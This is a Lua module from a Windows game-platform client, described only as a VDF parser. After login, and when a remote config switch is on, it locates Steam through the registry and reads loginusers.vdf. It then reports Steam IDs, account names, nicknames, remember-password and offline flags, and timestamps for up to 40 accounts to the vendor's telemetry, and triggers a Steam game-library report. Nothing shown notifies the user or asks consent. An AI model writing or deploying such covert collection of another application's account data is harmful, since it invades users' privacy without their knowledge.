﻿--[[
   @brief    VDF parser control
   @author   leozzyzheng
   @version  1.0
   @date     2016-03-23
   @features
        - parse VDF file into table
]]

kMB = 1024 * 1024;

-- 配置常量
vdf_const = {
    max_user_file_size = 20;  -- loginusers文件最大限制(单位:MB)
    max_config_file_size = 20 ;  -- localconfig文件最大限制(单位:MB)
    max_account_limit = 40;   -- 帐号数最大限制
    default_config_on = "false";  -- 功能开关默认值
    default_user_file_size_limit = 20;  -- loginusers文件限制默认值 (单位:MB)
    default_config_file_size_limit =  3;  -- localconfig文件默认限制 (单位:MB)
    default_account_limit = 40;  -- 帐号数默认限制
};

vdf_control = {
    steam_install_path_ = "";
    is_found_steam_installed = false;
    is_found_vdf_file = false;
    is_parse_vdf_success = false;
    
    cfg_call_back = "vdf_control_cfg_call_back";
    
    special_call_back = {};
    
    -- 功能开关
    config_on = vdf_const.default_config_on;
    -- loginusers文件限制(单位:MB)
    user_file_size_limit = vdf_const.default_user_file_size_limit;
    -- 帐号数限制
    account_limit = vdf_const.default_account_limit;
    -- localconfig文件限制 (单位:MB)
    config_file_size_limit = vdf_const.default_config_file_size_limit;
};

function vdf_control.on_login_success()
    base_utility.log("[vdf_control.on_login_success");
    vdf_control.query_cfg("/tgp/platform/scan_config", "config_on");
end;

function vdf_control.query_cfg(pkg_name, cfg_name)    
    local cfg_url = LoadStr("GENERAL_CFG_QUERY_URL");
    local cfg_version = 1;
    -- query the cfg
    local post_data = {};
    post_data["version"] = cfg_version;
    post_data["pkg_name"] = pkg_name;
    post_data["cfg_list"] = "all";
    post_data["callback"] = vdf_control.cfg_call_back;
    vdf_control.special_call_back["config_on"] = "vdf_control.on_get_scan_config_on";
    vdf_control.special_call_back["login_file_size"] = "vdf_control.on_get_user_file_size_limit";
    vdf_control.special_call_back["account_limit"] = "vdf_control.on_get_account_limit";
    vdf_control.special_call_back["local_file_size"] = "vdf_control.on_get_config_file_size_limit";
    base_utility.curl_request_async(cfg_url, "vdf_control.on_cfg_rsp", false, post_data, true);
end;
    
function vdf_control.on_cfg_rsp(result)
    base_utility.log("[vdf_control.on_cfg_rsp]received cfg:" .. result);
    local success, result_table, crc = base_utility.cfg_string_to_table(result, vdf_control.cfg_call_back);
    if success and result_table ~= nil then
       for index, cfg in pairs(result_table) do
           if cfg ~= nil then
              cfg_name = cfg["cfg_name"];
              cfg_value = cfg["cfg_value"]; 
              if cfg_name ~= nil and cfg_name ~= "" and
                 cfg_value ~= nil and cfg_value ~= "" and
                 vdf_control.special_call_back[cfg_name] ~= nil then
                      local script_tmp = vdf_control.special_call_back[cfg_name] .. '(cfg_value)';
                      local func = loadstring(script_tmp);
                      func();
                  else
                      base_utility.log("[vdf_control.on_cfg_rsp]cfg name or value is invalid", true);
                  end;
            else
                base_utility.log("[vdf_control.on_cfg_rsp]cfg nil at:" .. tostring(index));
            end
        end
        
        local config_on = string.lower(vdf_control.config_on);
        if config_on == "true" then
            vdf_control.begin_scan();
        else
            base_utility.log("[vdf_control.on_cfg_rsp]give up for config_on:" .. tostring(config_on));
        end
        
    else
        base_utility.log("[vdf_control.on_cfg_rsp]rsp data fail", true);
    end;
end;

function vdf_control.cfg_value_to_int(cfg)
    local result = tonumber(cfg);
    return result;
end

function vdf_control.adjust_cfg_value(value, min, max, default)
    if value == nil or
       type(value) ~= "number" or
       value < min or value > max then
        return default;
    end
    
    return value;
end;

function vdf_control.on_get_scan_config_on(value)
    base_utility.log("[vdf_control.on_get_scan_config_on]value=".. tostring(value));
    if value == nil then
        base_utility.log("[vdf_control.on_get_scan_config_on]value is nil", true);
        return;
    end
    
    local trimed_value = base_utility.trim(value);
    if trimed_value ~= "" then
        vdf_control.config_on = trimed_value;
    end;
    
    base_utility.log("[vdf_control.on_get_scan_config_on]actruly=".. tostring(vdf_control.config_on));
end;

function vdf_control.on_get_user_file_size_limit(value)
    base_utility.log("[vdf_control.on_get_user_file_size_limit]value=".. tostring(value));
    local file_size = vdf_control.cfg_value_to_int(value);

    vdf_control.user_file_size_limit = vdf_control.adjust_cfg_value(
        file_size, 0, vdf_const.max_user_file_size, vdf_const.default_user_file_size_limit);
    
    base_utility.log("[vdf_control.on_get_user_file_size_limit]actruly=".. tostring(vdf_control.user_file_size_limit));
end;

function vdf_control.on_get_account_limit(value)
    base_utility.log("[vdf_control.on_get_account_limit]value=".. tostring(value));
    local account_limit = vdf_control.cfg_value_to_int(value);
    
    vdf_control.account_limit = vdf_control.adjust_cfg_value(
        account_limit, 0, vdf_const.max_account_limit, vdf_const.default_account_limit);
    
    base_utility.log("[vdf_control.on_get_account_limit]actruly=".. tostring(vdf_control.account_limit));
end;

function vdf_control.on_get_config_file_size_limit(value)
    base_utility.log("[vdf_control.on_get_config_file_size_limit]value=".. tostring(value));
    
    local file_size = vdf_control.cfg_value_to_int(value);
    
    vdf_control.config_file_size_limit = vdf_control.adjust_cfg_value(
        file_size, 0, vdf_const.max_config_file_size, vdf_const.default_config_file_size_limit);
    
    base_utility.log("[vdf_control.on_get_config_file_size_limit]actruly=".. tostring(vdf_control.config_file_size_limit));
end;
    
function vdf_control.begin_scan()
    base_utility.log("[vdf_control.begin");
    -- 虽然steam是32位的，但是搜索不到仍然搜索两遍
    -- LOCAL_MACHINE和CURRENT_USER都搜索
    local key = ierd_tgp.common.LuaHelper_RegRootKey.HK_LOCAL_MACHINE;
    local path = vdf_control:find_steam_install_path(key, false);
    if path == "" then
        path = vdf_control:find_steam_install_path(key, true);
    end;
    
    key = ierd_tgp.common.LuaHelper_RegRootKey.HK_CURRENT_USER;
    if path == "" then
        path = vdf_control:find_steam_install_path(key, false);
    end;
    
    if path == "" then
        path = vdf_control:find_steam_install_path(key, true);
    end;
    
     base_utility.log("[vdf_control][begin]vdf_control.install_path_=" ..
        tostring(vdf_control.steam_install_path_));   
        
    if path ~= "" then      
        vdf_control.steam_install_path_ = path;   

        vdf_control.is_found_steam_installed = true;
        local vdf_path = path .. "config\\loginusers.vdf";
        local file_size = base_utility.get_file_size(vdf_path);
        base_utility.log("[vdf_control][begin]got file size:" .. tostring(file_size));
        if file_size > 0 and 
            file_size < vdf_control.user_file_size_limit * kMB then
            vdf_control.is_found_vdf_file = true;
            ierd_tgp.common.ReadVDF(vdf_path, "vdf_control.on_parser_end");
            return;
        else
            base_utility.log("[vdf_control][begin]not exists or too large, size:" .. tostring(file_size), true);
        end;
    end;

    vdf_control:qos(nil);
end;

function vdf_control.on_parser_end(json)
    base_utility.log("[vdf_control]on_parser_end" .. json);
    local json_table = base_utility.json_to_table(json);
    vdf_control.is_parse_vdf_success = json_table.success == true;
    vdf_control:qos(json_table.content_json);
end;

-- 返回Steam的安装路径
-- root_key 注册表根key
-- is64bit 是否强制64位注册表路径扫描
-- 返回安装的文件夹(卸载exe所在目录)
function vdf_control:find_steam_install_path(root_key, is64bit)
    local reg_key = ierd_tgp.common.LuaHelperRegKey:new();
    local ret = ierd_tgp.common.OpenRegKey(
        root_key,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Steam",
        is64bit,
        reg_key);
        
    local install_path = "";
    -- 遍历subkey，取每个subkey的DisplayName去判断是否安装软件
    if ret then
        -- 找子键的值
        local display_name = reg_key:FindValue("DisplayName");
        if display_name ~= "" and ierd_tgp.common.RegexSearch(display_name, "^Steam$") then
            -- 找到了正确软件的DisplayName
            local uninstall_str = reg_key:FindValue("UninstallString");
            if uninstall_str ~= "" and base_utility.is_file_exist(uninstall_str) then
                local index = string.find(uninstall_str, "[/|\\][^/|^\\]*$");
                install_path = string.sub(uninstall_str, 1, index);  -- 包括路径分隔符
            end;
        end;
    end;
    
    reg_key:delete();
    return install_path;
end;

-- 检查变量类型
-- value 变量
-- type_name 类型 支持number string table
-- require 是否必须匹配，如果必须匹配则is_parse_vdf_success设置为false
-- return 如果错误则返回正确类型的默认值
function vdf_control:check_type(value, type_name, require)
    if type(value) ~= type_name then
        if require == true then
            self.is_parse_vdf_success = false;
        end;
        if type_name == "string" then
            return "";
        elseif type_name == "number" then
            return 0;
        elseif type_name == "table" then
            return {};
        else
            return nil;
        end;
    else
        return value;
    end;
end;

-- qos上报
-- 这里有可能词法解析出错，导致数据类型不太和想象中一样
function vdf_control:qos(json_table)
    local qos_list = {};
    if json_table ~= nil and type(json_table.users) == "table" then
        local reported_count = 0;
        for key, value in pairs(json_table.users) do
            -- 可能完全解析错了,这个用户的数据就不要了
            if type(key) == "string" then
                if reported_count >= vdf_control.account_limit then
                    base_utility.log("[vdf_control][qos]reached account limit");
                    break;
                end
                local user_info = value;
                -- 有可能解析出错这里不是table
                if type(value) ~= "table" then
                    self.is_parse_vdf_success = false; 
                    user_info = {};
                end;
                
                local steam_id = key;
                local account_name = vdf_control:check_type(user_info.AccountName, "string", true);
                local persona_name = vdf_control:check_type(user_info.PersonaName, "string", true);
                local remember_passwd = vdf_control:check_type(user_info.RememberPassword,"string");
                local time_stamp = tonumber(vdf_control:check_type(user_info.Timestamp,"string", true));
                local wants_offline = vdf_control:check_type(user_info.WantsOfflineMode, "string");
                table.insert(qos_list, self:get_qos_obj(steam_id, account_name, persona_name, remember_passwd, wants_offline, time_stamp));
                                                       
                local game_lib =
                    base_utility.get_component_adapter("IGame_library",
                        "ierd_tgp.game_library.Get_game_library_adapter();");
                if game_lib then
                    game_lib:ReportSteamGames(vdf_control.steam_install_path_, steam_id, vdf_control.config_file_size_limit);
                end
                    
                had_reported = true;
                reported_count = reported_count + 1;
            else
                base_utility.log("[vdf_control][qos]key is NOT string, key:" .. tostring(key),
                        true);
                self.is_parse_vdf_success = false; 
            end;
        end;
    end;
    
    -- 解析失败也还是需要上报的
    if table.getn(qos_list) == 0 then
        base_utility.log("[vdf_control][qos]qos list is empty", true);
        table.insert(qos_list, self:get_qos_obj("", "", "", "", "", 0));
    end;
    
    -- 重设is_parse_vdf_success
    for key, value in pairs(qos_list) do
        value.int_val[2] = self.is_parse_vdf_success and 1 or 2;
        base_utility.log("[vdf_control][qos]report " .. tostring(value.qos_report_id));
        base_utility.lua_qos(value);
        value:delete();  
    end;
end;

-- 获取上报对象
function vdf_control:get_qos_obj(steam_id, acc_name, nick_name, rem_passwd, wants_offline, time_stamp)
    -- 每个用户信息上报一次
    local qos_param = ierd_tgp.tpf_ui.LuaQosData:new();
    qos_param.oc_type = ierd_tgp.tpf_ui.kInstant; --即时
    qos_param.qos_report_id = ierd_tgp.adapt_for_imports.qos.Qos_kind.kSteamVdfInfo;
    qos_param.int_val[0] = self.is_found_steam_installed and 1 or 2; -- 是否找到Steam安装路径 1 成功 2 失败  下同
    qos_param.int_val[1] = self.is_found_vdf_file and 1 or 2; -- 是否找到VDF文件
    qos_param.int_val[2] = self.is_parse_vdf_success and 1 or 2; -- 是否解析VDF成功，其实这里并不是最终值，最终值会在最后上报的时候刷一遍
    qos_param.int_val[3] = time_stamp  -- 登录时间戳(为了方便后续统计,用数字)
    qos_param.str_val1 = steam_id; -- SteamID
    qos_param.str_val2 = acc_name; -- Steam账户名
    qos_param.str_val3 = nick_name; -- 用户昵称
    qos_param.str_val4 = rem_passwd; -- 是否记住密码
    qos_param.str_val5 = wants_offline; -- 是否离线登录
    qos_param.int_count = 4;
    qos_param.str_count = 5;
    return qos_param;
end;



